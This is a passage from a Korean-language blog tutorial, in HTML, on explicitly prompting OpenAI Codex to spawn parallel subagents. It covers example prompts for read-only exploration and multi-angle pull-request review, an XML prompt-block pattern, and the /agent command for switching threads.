&lt;p data-ke-size=&quot;size16&quot;&gt;첫째, 대화창이 복잡해지기 시작할 때다. 메인 스레드에 요구사항과 탐색 로그가 뒤섞이면, 파일 조사 같은 작업을 서브에이전트로 빼는 편이 낫다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;둘째, 한 번에 읽기 어려울 만큼 큰 작업이다. 예를 들어 문서나 코드가 너무 많으면 Codex가 모든 내용을 한 대화 안에서 안정적으로 다루기 어렵다. 이때는 여러 서브에이전트가 각자 일부를 읽고, 핵심 요약만 메인 스레드로 돌려보내게 만들 수 있다(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;서브에이전트 문서&lt;/a&gt; 참조).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3 --&gt;
&lt;h2 id=&quot;section3&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 서브에이전트 생성하기&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;3.1 명시적 지시만 가능하다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서브에이전트 생성에는 중요한 전제가 있다. 공식 문서는 이를 명확히 못 박는다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2064&quot; data-origin-height=&quot;1112&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d0SN40/dJMcaakVRQu/HiC4txyVJ7xQWo5sbzNAF0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d0SN40/dJMcaakVRQu/HiC4txyVJ7xQWo5sbzNAF0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d0SN40/dJMcaakVRQu/HiC4txyVJ7xQWo5sbzNAF0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd0SN40%2FdJMcaakVRQu%2FHiC4txyVJ7xQWo5sbzNAF0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2064&quot; height=&quot;1112&quot; data-origin-width=&quot;2064&quot; data-origin-height=&quot;1112&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #f8f9fa; padding: 15px 20px; border-left: 4px solid #6c757d; border-radius: 0 8px 8px 0; margin: 20px 0; font-style: italic; color: #555;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Codex doesn't spawn subagents automatically, and it should only use subagents when you explicitly ask for subagents or parallel agent work.&quot;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0; font-size: 0.9em; color: #888;&quot; data-ke-size=&quot;size16&quot;&gt;(번역) &quot;Codex는 서브에이전트를 자동으로 생성하지 않으며, 사용자가 명시적으로 서브에이전트 또는 병렬 에이전트 작업을 요청할 때만 사용한다.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Codex는 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;서브에이전트를 마음대로 만들지 않는다. &lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&quot;병렬 에이전트를 써라&quot;, &quot;이 일을 나눠서 맡겨라&quot;처럼 직접 지시해야 한다.&lt;/b&gt; &lt;/span&gt;이 제한은 오히려 초보자에게 좋다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나도 모르는 사이에 여러 에이전트가 실행되면 비용, 속도, 작업 흐름을 파악하기 어려워지기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;3.2 지시 표현 예시&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;는 다음과 같은 표현을 직접 지시의 예로 든다. 이 표현만 되는 것은 아니고, 핵심은 &quot;일을 나눠서 병렬 에이전트에게 맡긴다&quot;는 의도가 분명해야 한다는 점이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 15px 20px; border-left: 4px solid #6c757d; border-radius: 0 8px 8px 0; margin: 20px 0; font-style: italic; color: #555;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;spawn two agents&quot;, &quot;delegate this work in parallel&quot;, &quot;use one agent per point&quot;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0; font-size: 0.9em; color: #888;&quot; data-ke-size=&quot;size16&quot;&gt;(번역) &quot;에이전트 두 개를 띄워라&quot;, &quot;이 작업을 병렬로 위임해라&quot;, &quot;항목마다 에이전트 하나씩 써라&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;핵심은 &quot;병렬로&quot;, &quot;에이전트를 따로&quot;, &quot;항목별로 나눠서&quot; 같은 말을 프롬프트에 직접 넣는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그냥 &quot;검토해 줘&quot;라고 쓰면 보통 하나의 메인 스레드에서 처리된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; border-radius: 10px; padding: 18px 20px; margin: 20px 0; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;비교 &amp;mdash; 같은 PR 리뷰 요청, 지시 방식에 따라 결과가 다르다&lt;/b&gt;
&lt;p style=&quot;margin: 10px 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;프롬프트 원문&lt;/b&gt;: &quot;이 PR을 다각도로 리뷰해줘&quot;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px; color: #dc3545; font-weight: bold; font-size: 0.9em;&quot; data-ke-size=&quot;size16&quot;&gt;서브에이전트 지시 없을 때&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #2d2d2d; color: #f8f8f2; padding: 12px 14px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.6; margin: 0 0 6px;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;이 PR을 다각도로 리뷰해줘.&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 0 0 14px; font-size: 0.9em; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 보안&amp;middot;테스트&amp;middot;유지보수성이 한 응답에 섞여 나옴&lt;br /&gt;&amp;rarr; 각 관점의 깊이가 얕아지고, &quot;다각도&quot;의 범위는 Codex가 임의로 결정&lt;br /&gt;&amp;rarr; 어느 관점에서 뭘 말하는지 구분 안 됨&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 14px; font-size: 0.9em; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 가장 최신 pr을 다각도로 리뷰해줘.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 14px; font-size: 0.9em; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 싱글 에이전트가 단독으로 계쏙 리뷰해 나가는 모습&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1912&quot; data-origin-height=&quot;1362&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Guzsp/dJMcacwjwYJ/6C4y3zWg7ifgVO95FoTVG0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Guzsp/dJMcacwjwYJ/6C4y3zWg7ifgVO95FoTVG0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Guzsp/dJMcacwjwYJ/6C4y3zWg7ifgVO95FoTVG0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGuzsp%2FdJMcacwjwYJ%2F6C4y3zWg7ifgVO95FoTVG0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1912&quot; height=&quot;1362&quot; data-origin-width=&quot;1912&quot; data-origin-height=&quot;1362&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 0 0 14px; font-size: 0.9em; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 14px; font-size: 0.9em; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px; color: #27ae60; font-weight: bold; font-size: 0.9em;&quot; data-ke-size=&quot;size16&quot;&gt;병렬 서브에이전트 명시 후&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot; style=&quot;background: #2d2d2d; color: #f8f8f2; padding: 12px 14px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.6; margin: 0 0 4px;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;Spawn one agent for security risks,
one for test gaps,
one for maintainability.
Wait for all three, then summarize by category with file references.&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 2px 0 4px; font-size: 0.82em; color: #999;&quot; data-ke-size=&quot;size16&quot;&gt;한국어로도 동일하게 동작한다:&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #2d2d2d; color: #f8f8f2; padding: 12px 14px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.6; margin: 0 0 6px;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;보안 리스크를 볼 에이전트, 테스트 빈틈을 볼 에이전트, 유지보수성을 볼 에이전트를 각각 하나씩 띄워라.
세 결과가 모두 나오면 파일 경로와 함께 카테고리별로 요약하라.&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 0; font-size: 0.9em; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 각 에이전트가 한 관점만 깊이 분석&lt;br /&gt;&amp;rarr; 결과가 카테고리별로 정리되어 합치기 쉬움&lt;br /&gt;&amp;rarr; 완료 기준이 &quot;세 에이전트 모두 반환&quot;으로 명확&lt;br /&gt;&lt;br /&gt;ex) 가장 최신 pr을 보안&amp;nbsp;리스크를&amp;nbsp;볼&amp;nbsp;에이전트,&amp;nbsp;테스트&amp;nbsp;빈틈을&amp;nbsp;볼&amp;nbsp;에이전트,&amp;nbsp;유지보수성을&amp;nbsp;볼&amp;nbsp;에이전트를&amp;nbsp;각각&amp;nbsp;하나씩&amp;nbsp;띄워라.&lt;br /&gt;세&amp;nbsp;결과가&amp;nbsp;모두&amp;nbsp;나오면&amp;nbsp;파일&amp;nbsp;경로와&amp;nbsp;함께&amp;nbsp;카테고리별로&amp;nbsp;요약하라.&lt;/p&gt;
&lt;p style=&quot;margin: 0; font-size: 0.9em; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 최신 커밋은 1개의 에이전트가 확인&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2276&quot; data-origin-height=&quot;1686&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Gn4t0/dJMcabqDDS2/wloD6kBxicpSvmkvNL6xS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Gn4t0/dJMcabqDDS2/wloD6kBxicpSvmkvNL6xS1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Gn4t0/dJMcabqDDS2/wloD6kBxicpSvmkvNL6xS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGn4t0%2FdJMcabqDDS2%2FwloD6kBxicpSvmkvNL6xS1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2276&quot; height=&quot;1686&quot; data-origin-width=&quot;2276&quot; data-origin-height=&quot;1686&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 0; font-size: 0.9em; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - 이후 지시사항대로 3개의 에이전트를 각각 띄워 작업을 시키는것을 볼 수 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2224&quot; data-origin-height=&quot;1010&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brUV6Q/dJMcacpxcsz/kCHB3xLaUBvaDVneXEV221/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brUV6Q/dJMcacpxcsz/kCHB3xLaUBvaDVneXEV221/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brUV6Q/dJMcacpxcsz/kCHB3xLaUBvaDVneXEV221/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbrUV6Q%2FdJMcacpxcsz%2FkCHB3xLaUBvaDVneXEV221%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2224&quot; height=&quot;1010&quot; data-origin-width=&quot;2224&quot; data-origin-height=&quot;1010&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;3.3 실전 프롬프트 예시&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 1 &amp;mdash; 읽기 전용 조사&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;sql&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0 4px;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;Use two parallel subagents for read-only exploration.
One subagent should map the changed files.
The other should find related tests.
Do not edit files. Return short summaries with file paths.&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 4px 0 4px; font-size: 0.85em; color: #999;&quot; data-ke-size=&quot;size16&quot;&gt;한국어 버전:&lt;/p&gt;
&lt;pre class=&quot;sql&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 0 0 16px;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;읽기 전용 조사에 서브에이전트 2개를 병렬로 써라.
에이전트 1: 변경된 파일 목록을 정리해라.
에이전트 2: 관련 테스트 파일을 찾아라.
파일 수정 금지. 파일 경로가 포함된 짧은 요약만 돌려줘.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음에는 이렇게 2개 정도의 읽기 전용 서브에이전트로 시작하는 편이 좋다. &quot;수정하지 말라&quot;, &quot;파일 경로를 포함해 짧게 요약하라&quot;를 함께 적어 두면 결과를 확인하기 쉽다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 2 &amp;mdash; 브랜치 병렬 리뷰&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;sql&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0 4px;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;Review this branch with parallel subagents.
Spawn one subagent for security risks, one for test gaps,
and one for maintainability.
Wait for all three, then summarize the findings by category
with file references.&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 4px 0 4px; font-size: 0.85em; color: #999;&quot; data-ke-size=&quot;size16&quot;&gt;한국어 버전:&lt;/p&gt;
&lt;pre class=&quot;sql&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 0 0 16px;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;이 브랜치를 병렬 서브에이전트로 리뷰해라.
보안 리스크를 볼 에이전트, 테스트 빈틈을 볼 에이전트, 유지보수성을 볼 에이전트를 각각 하나씩 띄워라.
세 결과가 모두 나오면 파일 경로와 함께 카테고리별로 요약하라.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세 가지 관점(보안&amp;middot;테스트&amp;middot;유지보수성)을 각각의 서브에이전트에 맡기고, 모든 결과를 기다린 뒤 카테고리별로 정리하게 하는 예시다. 여기서도 &quot;누가 무엇을 볼지&quot;, &quot;모든 결과를 기다릴지&quot;, &quot;어떤 형식으로 요약할지&quot;를 노골적으로 적는 것이 중요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 3 &amp;mdash; PR 6개 관점 분산 리뷰&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;livecodeserver&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0 4px;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;I would like to review the following points on the current PR
(this branch vs main).
Spawn one agent per point, wait for all of them, and summarize
the result for each point.
1. Security issue
2. Code quality
3. Bugs
4. Race
5. Test flakiness
6. Maintainability of the code&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 4px 0 4px; font-size: 0.85em; color: #999;&quot; data-ke-size=&quot;size16&quot;&gt;한국어 버전:&lt;/p&gt;
&lt;pre class=&quot;livecodeserver&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 0 0 16px;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;현재 PR(이 브랜치 vs main)을 아래 관점으로 리뷰해라.
항목마다 에이전트를 하나씩 띄우고, 모두 끝나면 항목별로 결과를 요약하라.
1. 보안 이슈
2. 코드 품질
3. 버그
4. 경쟁 조건 (race condition: 동시 실행 시 순서가 꼬이는 문제)
5. 테스트 불안정성 (test flakiness: 가끔만 실패하는 테스트)
6. 코드 유지보수성&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;체크리스트 형태로 관점을 적으면 Codex가 항목마다 서브에이전트를 하나씩 배정할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만 6개 에이전트는 기초 실습으로는 많다. (토큰 낭비로 이어질수도 있다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;큰 PR에서 비용과 대기 시간을 감수할 만할 때만 쓰고, 평소에는 2~3개 관점부터 시작하는 편이 낫다(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;서브에이전트 문서&lt;/a&gt; 참조).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 4 &amp;mdash; React 컴포넌트 스타일 버그 병렬 탐색&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;sql&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0 4px;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;Use two parallel subagents for read-only exploration.
One subagent should find all files that import or use the broken Button component.
The other should check the Button's CSS module and styled-component for conflicting styles.
Do not edit files. Return short summaries with file paths.&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 4px 0 4px; font-size: 0.85em; color: #999;&quot; data-ke-size=&quot;size16&quot;&gt;한국어 버전:&lt;/p&gt;
&lt;pre class=&quot;sql&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 0 0 16px;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;읽기 전용 조사에 서브에이전트 2개를 병렬로 써라.
에이전트 1: Button 컴포넌트를 import하거나 사용하는 파일 전체를 목록화해라.
에이전트 2: Button의 CSS 모듈 또는 styled-component에서 충돌 가능성 있는 스타일을 찾아라.
파일 수정 금지. 파일 경로가 포함된 짧은 요약만 돌려줘.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;React 프로젝트에서 특정 컴포넌트에 스타일 버그가 생겼을 때 유용한 패턴이다. 사용처와 스타일 정의를 동시에 훑어야 원인을 빨리 좁힐 수 있고, 두 에이전트 모두 읽기만 하므로 부작용이 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #0066cc; margin: 18px 0;&quot;&gt;&lt;b&gt;Goal / Constraints / Completion을 더 정밀하게: prompt-blocks&lt;/b&gt;
&lt;p style=&quot;margin: 10px 0 6px;&quot; data-ke-size=&quot;size16&quot;&gt;위 패턴이 익숙해졌다면 XML 블록으로 각 역할을 명시적으로 분리하는 방식으로 한 단계 올릴 수 있다. 긴 프롬프트에서 에이전트가 Goal과 Constraints를 혼동하는 경우에 효과적이다.&lt;/p&gt;
&lt;pre class=&quot;xml&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 14px 18px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.6; overflow-x: auto; margin: 8px 0;&quot; data-ke-language=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;task&amp;gt;
  이 브랜치의 보안 리스크와 테스트 갭을 병렬로 분석한다.
&amp;lt;/task&amp;gt;
&amp;lt;action_safety&amp;gt;
  파일 수정 금지. 읽기만 허용.
&amp;lt;/action_safety&amp;gt;
&amp;lt;completeness_contract&amp;gt;
  두 서브에이전트 결과가 모두 반환되면 완료.
  파일 경로와 줄 번호를 포함해 요약한다.
&amp;lt;/completeness_contract&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 8px 0 0; font-size: 0.9em; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;&amp;lt;task&amp;gt;&lt;/code&gt;는 Goal, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;&amp;lt;action_safety&amp;gt;&lt;/code&gt;는 Constraints, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;&amp;lt;completeness_contract&amp;gt;&lt;/code&gt;는 Completion과 대응된다. 처음에는 위 자연어 패턴이 충분하다. 프롬프트가 길어지고 에이전트 동작이 예상과 달라질 때 이 구조로 바꿔보면 된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;3.4 /agent 명령으로 스레드 확인하기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서브에이전트가 실행 중일 때 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/agent&lt;/code&gt; 슬래시 명령을 쓰면 각 에이전트의 작업창으로 이동할 수 있다. 슬래시 명령은 Codex CLI 안에서 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/&lt;/code&gt;로 시작하는 명령어다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 슬래시 명령 문서에 따르면 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/agent&lt;/code&gt;의 역할은 다음과 같이 정의되어 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 15px 20px; border-left: 4px solid #6c757d; border-radius: 0 8px 8px 0; margin: 20px 0; font-style: italic; color: #555;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;/agent &amp;mdash; Switch the active agent thread. Inspect or continue work in a spawned subagent thread.&quot;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0; font-size: 0.9em; color: #888;&quot; data-ke-size=&quot;size16&quot;&gt;(번역) &quot;/agent &amp;mdash; 활성 에이전트 스레드를 전환한다. 생성된 서브에이전트 스레드의 작업을 확인하거나 이어서 진행할 수 있다.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여러 서브에이전트가 동시에 실행될 때는 현재 CLI 세션 안에서 각 스레드에 들어가 중간 상태를 보거나 추가 지시를 줄 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음에는 꼭 필요한 경우에만 확인하면 된다. 너무 자주 끼어들면 병렬 작업의 장점이 줄어든다(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/cli/slash-commands&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CLI 슬래시 명령 문서&lt;/a&gt; 참조).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 상기 예시중 3개의 서브 에이전트를 띄운 상황에서 /agent 입력&lt;/p&gt;
